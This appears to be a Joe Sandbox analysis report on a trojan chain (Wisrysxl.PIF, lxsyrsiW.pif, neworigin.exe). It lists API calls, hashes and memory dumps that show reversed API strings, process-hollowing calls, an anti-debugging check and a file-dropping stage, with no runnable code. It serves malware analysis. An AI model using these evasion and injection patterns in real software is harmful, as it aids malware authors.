Snapshot File: hcaresult_16_2_dad000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4bb2948eb121392663c2fa925cfe1ddc97c337ae37b40404426c80c2bf1fa91
Instruction ID: f28d0f566fe081988b22a95fcab9f8a9e9e0b47042a79a6648d616947db6df2f
Opcode Fuzzy Hash: b4bb2948eb121392663c2fa925cfe1ddc97c337ae37b40404426c80c2bf1fa91
Instruction Fuzzy Hash: 5801F2310043049EE7209B25CC84B67BF99EF42764F28C41AED4A0A682C679D882CA75

Function 00DAD07C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.4588246412.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_dad000_TrojanAIbot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df041d6721da172338d0a3f871abbd1e70e06c683071765916a6ba58d08b9eb0
Instruction ID: 20b32c1992c5ffdbfff5e3804285c5d882297948128de644b91a84b11df8def1
Opcode Fuzzy Hash: df041d6721da172338d0a3f871abbd1e70e06c683071765916a6ba58d08b9eb0
Instruction Fuzzy Hash: CBF0C2710053449EF7108A15CCC4B63FF98FB82774F18C05AED490A686C3799C40CA71

Analysis Process: Wisrysxl.PIFPID: 5032, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1349
Total number of Limit Nodes:	12

Executed Functions

Function 02CB7AC9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CB7A9F

Strings

ntdll, xrefs: 02CB7A74
yromeMlautriVetacollAwZ, xrefs: 02CB7A47

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 2167126740-445027087
Opcode ID: 50af5b5dbbe4f76d754942118c7c39037276d34b8ca209a94f18f7fc5c274659
Instruction ID: 487dd44f69d4b8965a7ca238ba70fe97d7265f3d83f42a73ebaa1e1d63dce034
Opcode Fuzzy Hash: 50af5b5dbbe4f76d754942118c7c39037276d34b8ca209a94f18f7fc5c274659
Instruction Fuzzy Hash: BE117076680208BFEB25EFA4DC61EEAB7EDEF89700F415460BD01D7240D670AE08DB24

Function 02CB7A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CB7A9F

Strings

ntdll, xrefs: 02CB7A74
yromeMlautriVetacollAwZ, xrefs: 02CB7A47

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 421316089-445027087
Opcode ID: 7e9c4ab81529a1ccad183d7a8cbd9d3c6122d00dbe6bf200e5637b0b1ba31890
Instruction ID: d35e43cdf6519915d983e7f9901a29b4ce7696426111a01c7dc7277a1d43c370
Opcode Fuzzy Hash: 7e9c4ab81529a1ccad183d7a8cbd9d3c6122d00dbe6bf200e5637b0b1ba31890
Instruction Fuzzy Hash: 27115B75680209BFEB25EFA4DD61EEEB7AEEF89700F414460B900D7240D670AE14DB20

Function 02CB7A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CB7A9F

Strings

ntdll, xrefs: 02CB7A74
yromeMlautriVetacollAwZ, xrefs: 02CB7A47

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 421316089-445027087
Opcode ID: 0ac21f7c044637a8f59857398534d6e7ae7a3eb62eec21104754e211ca6c078f
Instruction ID: 84b77c6e4943d351f108c9773cee7175bc14f13f2108fb4c312efa49b46ba51b
Opcode Fuzzy Hash: 0ac21f7c044637a8f59857398534d6e7ae7a3eb62eec21104754e211ca6c078f
Instruction Fuzzy Hash: A3116D75680209BFEB25EFA4DD61EDEB7AEEF89700F414460B900D7240D670AE14DB20

Function 02CB8400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB8471

Strings

yromeMlautriVdaeRtN, xrefs: 02CB841B
ntdll, xrefs: 02CB8448

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressHandleMemoryModuleProcReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2004920654-737317276
Opcode ID: 12f669d2bc61d5b7c3110f7f602bfbbc652fc478493bc090cf1cc3486d293ac7
Instruction ID: 9a8718512f8b517b0c54e90fba0b406d5f4d4b6984f2880420b82635de85b9a5
Opcode Fuzzy Hash: 12f669d2bc61d5b7c3110f7f602bfbbc652fc478493bc090cf1cc3486d293ac7
Instruction Fuzzy Hash: AE016579640208AFEB25EFA8DC61E9AB7EEFB48704F514420F904D7340D674AD10DF24

Function 02CB7D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CB7DEC

Strings

yromeMlautriVetirW, xrefs: 02CB7D93
Ntdll, xrefs: 02CB7DC3

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressHandleMemoryModuleProcVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 4260932595-3542721025
Opcode ID: 2592f8a6a1b24e5333b5cf9db3f2ad08e08c475c17afd04e37993544ef88ff99
Instruction ID: 78d1a974077c55c2e075d1905afcd4a12206ab91b818e76c7dec468578bff531
Opcode Fuzzy Hash: 2592f8a6a1b24e5333b5cf9db3f2ad08e08c475c17afd04e37993544ef88ff99
Instruction Fuzzy Hash: 3C012D7A640289AFEB25EF98DC51E9EB7EDEF89700F514460B800D7640D670AD14DB64

Function 02CB8670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 02CB86D5

Strings

noitceSfOweiVpamnUtN, xrefs: 02CB868B
ntdll, xrefs: 02CB86B8

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressHandleModuleProcSectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 2801472262-2520021413
Opcode ID: 7a9418b01dd617dbe218b12990fe261df4a93043dc83ccf949640be9fe1cbd81
Instruction ID: 739748ca6199268125a6eadeeb574ff6aabdb07454edfd07f0b6b4aa2a1ffccd
Opcode Fuzzy Hash: 7a9418b01dd617dbe218b12990fe261df4a93043dc83ccf949640be9fe1cbd81
Instruction Fuzzy Hash: 69016D74A40208AFEB25EFB4DD61E9EB7EEEF89B14F514560B800E7640DA74AD04DA24

Function 02CB86F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 02CB86D5

Strings

noitceSfOweiVpamnUtN, xrefs: 02CB868B
ntdll, xrefs: 02CB86B8

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressHandleModuleProcSectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 2801472262-2520021413
Opcode ID: 1005b97fdbeb7413325a6032d6deba5ec490aa3b6a6e1067d61e308ef06e9359
Instruction ID: bb059f94d450ff01da575111411e77965e7c9cb6c01599880433dd25e394d74e
Opcode Fuzzy Hash: 1005b97fdbeb7413325a6032d6deba5ec490aa3b6a6e1067d61e308ef06e9359
Instruction Fuzzy Hash: A7F04939A40209EFEB15FFB4E9509DDB7EEEF89314F5145A1A44497600DA30AE04DF10

Function 02CB8788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02CB8814

Strings

CreateProcessAsUserW, xrefs: 02CB87A1
Kernel32, xrefs: 02CB87D3

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressCreateHandleModuleProcProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 4105707577-2353454454
Opcode ID: 7d6395fb8d621c3ee682f035fe96d94f4ef243f8ee8a7718d96e24be1cb092c8
Instruction ID: b184ac1baf577caab1b03594f22592a6b9b9590eab133f6cef23aa0fa1c8e71e
Opcode Fuzzy Hash: 7d6395fb8d621c3ee682f035fe96d94f4ef243f8ee8a7718d96e24be1cb092c8
Instruction Fuzzy Hash: D711E2B2640248AFEB61EFA8DD91FDA77EDEF0C704F514520BA08E7200C674ED109B25

Function 02CBF744 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02CBF77D

Strings

KernelBase, xrefs: 02CBF74F
CheckRemoteDebuggerPresent, xrefs: 02CBF760

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 3662101638-539270669
Opcode ID: d356e1df88ea7236b562fe63c2ca346a00acf93885edb1f389e2a97c88714d53
Instruction ID: 9068f52313cf04630e4c1d7f48903d5217e9df65c7e1d7e9715cc46603e5a760
Opcode Fuzzy Hash: d356e1df88ea7236b562fe63c2ca346a00acf93885edb1f389e2a97c88714d53
Instruction Fuzzy Hash: 1CF0A77190424CBAEB11A6F98C887DCFBBD5F05329F2443D8B435B2AD1E7710740CA91

Non-executed Functions

Function 02CB8338 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02CB81CC: GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02CB83C2), ref: 02CB83A4

Strings

Kernel32, xrefs: 02CB8383
FlushInstructionCache, xrefs: 02CB8351

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressCacheFlushHandleInstructionModuleProc
String ID: FlushInstructionCache$Kernel32
API String ID: 2392256011-184458249
Opcode ID: f0374d4dcd1ef4eaccc6c24b96cb1df425240d85ba9e50458366dbf101e99cc6
Instruction ID: 067961a0e7cce3a66ec7a916f8cf384186fc55d6909c03e76ea6128a29291d8f
Opcode Fuzzy Hash: f0374d4dcd1ef4eaccc6c24b96cb1df425240d85ba9e50458366dbf101e99cc6
Instruction Fuzzy Hash: 7D016975784348AFEB26EFA4DC62F9AB7EEEB08B00F514460B904D6740D6B0AD149F25

Function 02CB8274 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

Strings

Kernel32, xrefs: 02CB82BC
sserddAcorPteG, xrefs: 02CB828F

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressProc
String ID: Kernel32$sserddAcorPteG
API String ID: 190572456-1372893251
Opcode ID: ed1b73c700f35fdecc1ef666008f29b0116891ea81da4e6e9f17a6fa04cd6094
Instruction ID: b64e41fb3fd22123c87680a9d816b1db0dfcf516df3717620b9116deefb36234
Opcode Fuzzy Hash: ed1b73c700f35fdecc1ef666008f29b0116891ea81da4e6e9f17a6fa04cd6094
Instruction Fuzzy Hash: 17016D75A40309AFEB25EFA4DC61E9EB7EEEB48B04F514460B805D7740DA70AD04DE68

Function 02CB81CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 02CB8274: GetProcAddress.KERNEL32(?,?), ref: 02CB82D9

GetModuleHandleA.KERNELBASE(?), ref: 02CB821E

Strings

KernelBASE, xrefs: 02CB8205
AeldnaHeludoMteG, xrefs: 02CB81E5

Memory Dump Source

Source File: 00000016.00000002.2351335276.0000000002CA1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02CA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2ca1000_Wisrysxl.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1646373207-1952140341
Opcode ID: 07ed17d8420c9e6ebcf29ebd8cf6512b062f31e25bdd3c980be16004a988f261
Instruction ID: 4d2158d97946b4596082ce787f036043b811fad725a13a3497fac4afa0c767b2
Opcode Fuzzy Hash: 07ed17d8420c9e6ebcf29ebd8cf6512b062f31e25bdd3c980be16004a988f261
Instruction Fuzzy Hash: F7F09670E44704AFFB26EFB4DD1199AB7EDFB49700B514570B810C3750D670AE14D925

Analysis Process: lxsyrsiW.pifPID: 4208, Parent PID: 5032COMMON

Execution Graph

Execution Coverage:	25%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040108C Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 207
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004010A6
memset.MSVCRT ref: 004010EE
strcmp.MSVCRT ref: 00401180
strcpy.MSVCRT(?,00000000), ref: 004011CE
EntryPoint.LXSYRSIW(?,?), ref: 004011BE

Part of subcall function 00401000: malloc.MSVCRT ref: 0040100F

EntryPoint.LXSYRSIW(?,?), ref: 00401202
getenv.MSVCRT ref: 0040120B
EntryPoint.LXSYRSIW(?,?), ref: 00401246
sprintf.MSVCRT ref: 00401263
fopen.MSVCRT ref: 00401278
EntryPoint.LXSYRSIW(?,?), ref: 004012B3
fwrite.MSVCRT ref: 004012DD
fclose.MSVCRT ref: 004012EC
EntryPoint.LXSYRSIW(00477C65,00000004), ref: 0040131C
ShellExecuteA.SHELL32(00000000,00000000,?,0000000A,0000000A,0000000A), ref: 00401344

Strings

%s\%s, xrefs: 00401256, 0040125B

Memory Dump Source

Source File: 00000018.00000001.2336669270.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000001.2336669270.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000001.2336669270.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_lxsyrsiW.jbxd

Similarity

API ID: EntryPoint$memset$ExecuteShellfclosefopenfwritegetenvmallocsprintfstrcmpstrcpy
String ID: %s\%s
API String ID: 2742963760-4073750446
Opcode ID: f7caa40db87bd64da8a9641d8fb3409a5fd547f57c718ebec707670eae309403
Instruction ID: 7e0938a0f735226449982c757e1a15bee8303af7c1bff0ef3dea70518ca31291
Opcode Fuzzy Hash: f7caa40db87bd64da8a9641d8fb3409a5fd547f57c718ebec707670eae309403
Instruction Fuzzy Hash: 9971F4F1E001049BDB54DB9CDC81B9E77B9DB48309F04417AF60AFB391E639AA448B59

Function 00401155 Relevance: 13.6, APIs: 9, Instructions: 113
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00401180
strcpy.MSVCRT(?,00000000), ref: 004011CE
EntryPoint.LXSYRSIW(?,?), ref: 004011BE

Part of subcall function 00401000: malloc.MSVCRT ref: 0040100F

EntryPoint.LXSYRSIW(?,?), ref: 00401202
getenv.MSVCRT ref: 0040120B
EntryPoint.LXSYRSIW(?,?), ref: 00401246
sprintf.MSVCRT ref: 00401263
fopen.MSVCRT ref: 00401278
EntryPoint.LXSYRSIW(?,?), ref: 004012B3
fwrite.MSVCRT ref: 004012DD
fclose.MSVCRT ref: 004012EC
EntryPoint.LXSYRSIW(00477C65,00000004), ref: 0040131C
ShellExecuteA.SHELL32(00000000,00000000,?,0000000A,0000000A,0000000A), ref: 00401344

Memory Dump Source

Source File: 00000018.00000001.2336669270.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000001.2336669270.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000001.2336669270.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_lxsyrsiW.jbxd

Similarity

API ID: EntryPoint$ExecuteShellfclosefopenfwritegetenvmallocsprintfstrcmpstrcpy
String ID:
API String ID: 2992075992-0
Opcode ID: 9d440d4ec79179d813846289a69e97d5325691e0c2bdd9780b26e9bc1f5c1949
Instruction ID: da6ba3fb88c20024e61c29d0d1421e634aa01f37861d58f563f893074dd25450
Opcode Fuzzy Hash: 9d440d4ec79179d813846289a69e97d5325691e0c2bdd9780b26e9bc1f5c1949
Instruction Fuzzy Hash: F54135F0E101049BDB58DB58DC91B9D77B9DB44309F0441BAF60AFB391E63CAA88CB59

Function 00401475 Relevance: 7.6, APIs: 5, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040148F
__set_app_type.MSVCRT ref: 004014A8
_controlfp.MSVCRT ref: 004014BC
__getmainargs.MSVCRT ref: 004014EA
exit.MSVCRT ref: 0040151C

Memory Dump Source

Source File: 00000018.00000001.2336669270.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000001.2336669270.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000001.2336669270.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_lxsyrsiW.jbxd

Similarity

API ID: __getmainargs__set_app_type_controlfpexitmemset
String ID:
API String ID: 1611591150-0
Opcode ID: 3e9f39bb6ffd838578539124f816f781f8a913f6e0aece3818f3f62b9f724f52
Instruction ID: 9bdd3bf799432f41f787d58fcaaf5403f241b1bf87296188f28308fcf3b5ab6f
Opcode Fuzzy Hash: 3e9f39bb6ffd838578539124f816f781f8a913f6e0aece3818f3f62b9f724f52
Instruction Fuzzy Hash: CA110CF5E00104AFCB01EBB8EC85F4A77ACA74C304F50447AB909E7361E979EA448769

Function 00401000 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0040100F

Strings

j+s9ha:h4p,hw@i*w-.twyn9k7[kazbv, xrefs: 0040106E

Memory Dump Source

Source File: 00000018.00000001.2336669270.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000001.2336669270.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000001.2336669270.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_lxsyrsiW.jbxd

Similarity

API ID: malloc
String ID: j+s9ha:h4p,hw@i*w-.twyn9k7[kazbv
API String ID: 2803490479-2443507578
Opcode ID: 9b87e1f0081ca89dfff0da140871b25e0bf5e5df9078889f7e82ab436f17736e
Instruction ID: 9430970044b5224a9c12c246655217461080a0914b4116f12426152c687b188d
Opcode Fuzzy Hash: 9b87e1f0081ca89dfff0da140871b25e0bf5e5df9078889f7e82ab436f17736e
Instruction Fuzzy Hash: 1B110CB0A05248EFCB04CFACD4907ADBBF1EF49304F1480AAE856E7391D635AE41DB45

Function 004013FF Relevance: .0, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000001.2336669270.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000001.2336669270.0000000000479000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000001.2336669270.000000000058C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_1_400000_lxsyrsiW.jbxd

Similarity

API ID: memset$EntryPointfopenstrcmpstrcpy
String ID:
API String ID: 4108700736-0
Opcode ID: 8a31f6e7c9d8c4b79f68c5e1b4c980db31f3675092d636c129533732d18511af
Instruction ID: 7b5742814f41c47d4244d2c3f0283e0289412fe64b87ae5b76c2526650b71fed
Opcode Fuzzy Hash: 8a31f6e7c9d8c4b79f68c5e1b4c980db31f3675092d636c129533732d18511af
Instruction Fuzzy Hash: 4BF074B5A04248AFCB40EFB9D981D8A77F8BB4C304B5044B6F948D7351E674EA448B58

Analysis Process: neworigin.exePID: 2968, Parent PID: 4208COMMON

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	122
Total number of Limit Nodes:	17

Executed Functions

Function 066B2350 Relevance: 1.1, Instructions: 1055COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bedf0b8937e330ba69f7485ed5be4a7988ec03783757ee8fa8d90febb46921d
Instruction ID: 34b24cba5341d1176bf875718e99514f6b90e347b1b20b537ce2f7f1d54bd7b4
Opcode Fuzzy Hash: 9bedf0b8937e330ba69f7485ed5be4a7988ec03783757ee8fa8d90febb46921d
Instruction Fuzzy Hash: AFA25430A00204CFDBA4DB68C594BADB7F6FB49314F5494A9D449AB361DB35EE86CF80

Function 066B66E8 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e9cfb63d1a6cee353562f184f78b0ac35e60b6dfdd2cd032ab17561ee4db9de
Instruction ID: 0491ad211a8fedd1e054cb885c5e8a2f92bdc112f824ff8b136fde577ab5425e
Opcode Fuzzy Hash: 9e9cfb63d1a6cee353562f184f78b0ac35e60b6dfdd2cd032ab17561ee4db9de
Instruction Fuzzy Hash: 0F629D30A00205CFDB54DB68D594AADB7F2FF88314F149469E80AEB355DB35ED86CB90

Function 066BC2A0 Relevance: .6, Instructions: 635
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0027d9879a0da3e83b385098c34ea8fdb5bd79b2ccd737741c79d258e735079a
Instruction ID: 157ef6e46b82a1bcc611d739a73575193f5ee93d6a9b7fdfc5fdcf7f7e8d11e6
Opcode Fuzzy Hash: 0027d9879a0da3e83b385098c34ea8fdb5bd79b2ccd737741c79d258e735079a
Instruction Fuzzy Hash: DE327E34E00209DFDF54EB68D990BAEB7B2EB88314F109529D506EB755DB31ED82CB90

Function 066B56B8 Relevance: .6, Instructions: 590
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 373a991bc572fbc8c8c8d8b5ff29ae44b993ec29df9efae60a3c3c6aa8d376ee
Instruction ID: 66de2a99d6d51c4b86a77818314944ff85f284173a9b5aad02cb552b7f9964ba
Opcode Fuzzy Hash: 373a991bc572fbc8c8c8d8b5ff29ae44b993ec29df9efae60a3c3c6aa8d376ee
Instruction Fuzzy Hash: E222CF31F10255DBDB60DF64D8846EEB7B2EF85310F24942AD856AB385DB34EC82CB90

Function 066B7E78 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2495719821.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_66b0000_neworigin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3386fc77ab90fccc454fa51b9b4fa560515ab7910afeb1582a3fab5b3452ae9
Instruction ID: 8a3f98140cf58824ccebfed313155257a6f078c5aeba7edd445cc0f68008392b
Opcode Fuzzy Hash: f3386fc77ab90fccc454fa51b9b4fa560515ab7910afeb1582a3fab5b3452ae9
Instruction Fuzzy Hash: FA028B30B01216CFDB54EF64D990AAEB7E6FF84304F249929D516DB385DB35EC828B90

Function 00D7EF18 Relevance: 1.6, APIs: 1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000019.00000002.2433496043.0000000000D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D70000, based on PE: false

Joe Sandbox IDA Plugin

